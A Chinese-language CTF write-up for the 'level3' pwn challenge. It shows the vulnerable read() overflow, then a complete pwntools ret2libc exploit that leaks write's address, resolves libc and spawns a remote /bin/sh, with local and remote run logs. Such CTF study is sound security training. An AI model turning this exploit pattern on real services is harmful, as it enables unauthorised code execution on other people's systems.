0x01寻找漏洞
checksec
kk@ubuntu:~/Desktop/black/GFSJ/level3$ checksec level3
[*] '/home/kk/Desktop/black/GFSJ/level3/level3'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
ida分析
ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]
write(1, "Input:\n", 7u);
return read(0, &buf, 0x100u);
}
漏洞可以很轻松的找到,read处存在栈溢出
0x02思路分析
无libc文件,无sys函数,无binsh字符串,有read和write函数,很明显的ret2libc
原理:system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。用工具来找到对应的libc文件
0x03攻击
exp如下
#!usr/bin/python
#coding=utf-8
from pwn import *
from LibcSearcher import *
# context.log_level = "debug"
io = remote("111.198.29.45",50137)
# io = process("./level3")
elf = ELF("./level3")
read_plt = elf.plt["read"]
write_plt = elf.plt["write"]
write_got = elf.got["write"]
main_addr = elf.symbols["main"]
io.recv()
payload = "a" * 0x88
payload += p32(0xdeadbeef)
payload += p32(write_plt)
payload += p32(main_addr)
payload += p32(1)
payload += p32(write_got) #write(1, addr, 4)从addr开始读取4个字节数据,泄露write在程序中的真实地址
payload += p32(4)
io.sendline(payload)
write_leak = u32(io.recv()[:4])
print "write_leak ==> " + hex(write_leak)
libc = LibcSearcher('write', write_leak)
libc_base = write_leak - libc.dump('write') #libc.dump()获取write在libc中的地址,从而计算偏移量
print "libc_base ==> " + hex(libc_base)
sys_addr = libc_base + libc.dump("system") #获取函数在libc中的真实地址
print "sys_addr ==> " + hex(sys_addr)
#libc_binsh = libc.search("/bin/sh").next()
bin_sh_addr = libc_base + libc.dump("str_bin_sh")
print "bin_sh_addr ==> " + hex(bin_sh_addr)
io.recv()
payload2 = "a" * 0x88 + p32(0xdeadbeef)
payload2 += p32(sys_addr) + p32(0xdeadbeef) + p32(bin_sh_addr)
io.sendline(payload2)
io.interactive()
这个脚本让人头大的是...
本地:(加了sleep有时候行有时候不行...)
kk@ubuntu:~/Desktop/black/GFSJ/level3$ python exp.py
[+] Starting local process './level3': pid 12529
[*] '/home/kk/Desktop/black/GFSJ/level3/level3'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
write_leak ==> 0xf7e4c3c0
[+] ubuntu-xenial-amd64-libc6-i386 (id libc6-i386_2.23-0ubuntu10_amd64) be choosed.
libc_base ==> 0xf7d78000
sys_addr ==> 0xf7db2940
bin_sh_addr ==> 0xf7ed102b
Traceback (most recent call last):
File "exp.py", line 45, in <module>
io.recv()
File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/tube.py", line 78, in recv
return self._recv(numb, timeout) or ''
File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/tube.py", line 156, in _recv
if not self.buffer and not self._fillbuffer(timeout):
File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/tube.py", line 126, in _fillbuffer
data = self.recv_raw(self.buffer.get_fill_size())
File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/process.py", line 679, in recv_raw
if not self.can_recv_raw(self.timeout):
File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/process.py", line 723, in can_recv_raw
return select.select([self.proc.stdout], [], [], timeout) == ([self.proc.stdout], [], [])
KeyboardInterrupt
[*] Stopped process './level3' (pid 12529)
远程:
kk@ubuntu:~/Desktop/black/GFSJ/level3$ python exp.py
[+] Opening connection to 111.198.29.45 on port 50137: Done
[*] '/home/kk/Desktop/black/GFSJ/level3/level3'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
write_leak ==> 0xf767b3c0
[+] ubuntu-xenial-amd64-libc6-i386 (id libc6-i386_2.23-0ubuntu10_amd64) be choosed.
libc_base ==> 0xf75a7000
sys_addr ==> 0xf75e1940
bin_sh_addr ==> 0xf770002b
[*] Switching to interactive mode
$ ls
bin
dev
flag
level3
lib
lib32
lib64
$ cat flag
cyberpeace{依旧需要你自己做口合口合}
$
ps
我尝试了网上其他大佬写的脚本哈,本地和远程都行...所以我的脚本到底哪里错了,感觉跟他们的都差不多啊
菜是本源
网友评论